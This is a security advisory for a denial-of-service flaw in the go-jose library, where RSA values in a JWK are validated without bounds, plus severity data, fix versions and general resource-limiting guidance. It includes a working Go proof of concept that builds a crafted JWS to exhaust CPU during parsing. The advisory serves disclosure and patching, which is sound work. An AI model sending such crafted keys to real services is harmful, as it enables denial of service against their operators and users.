Skip to content

GHSA-mgcc-cww5-fp2q CVE-2026-116587

Go JOSE: DoS when parsing JWKs that contain RSA keys

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.37%
Chance of exploitation in the next 30 days. Higher than 30.49% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-407 Inefficient Algorithmic Complexity
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
4.1.6
Upgrade github.com/go-jose/go-jose/v4 to this version or later

Description

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Affected versions

Go

PackageVulnerableFixed in
github.com/go-jose/go-jose/v3
<= 3.0.5
No fix yet
github.com/go-jose/go-jose/v3
<= 3.0.5
No fix yet
github.com/go-jose/go-jose/v4
<= 4.1.5
No fix yet
github.com/go-jose/go-jose/v4
< 4.1.6
4.1.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/go-jose/go-jose/v4 Go → 4.1.6

go
go get github.com/go-jose/go-jose/v4@v4.1.6 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-407: Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vvm8-gf78-28g4
Go JOSE: Panics in JSON parsing
Medium Also affects github.com/go-jose/go-jose/v3
GHSA-4w3g-jfj2-cw2q
Go JOSE: Panic during CBC-HMAC processing
Medium Also affects github.com/go-jose/go-jose/v3
GHSA-78h2-9frx-2jm8
Go JOSE Panics in JWE decryption
High Also affects github.com/go-jose/go-jose/v3
GHSA-c6gw-w398-hv78
DoS in go-jose Parsing
Medium Also affects github.com/go-jose/go-jose/v3
GHSA-c5q2-7r4c-mv6g
Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)
Medium Also affects github.com/go-jose/go-jose/v3
GHSA-2qm8-x737-gmw5
pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding
High Same weakness, CWE-407
GHSA-mm57-4v3p-rchx
pyasn1 has quadratic-complexity denial of service in binary REAL decoding
High Same weakness, CWE-407
GHSA-9m75-vc3g-4x39
pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding
High Same weakness, CWE-407
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor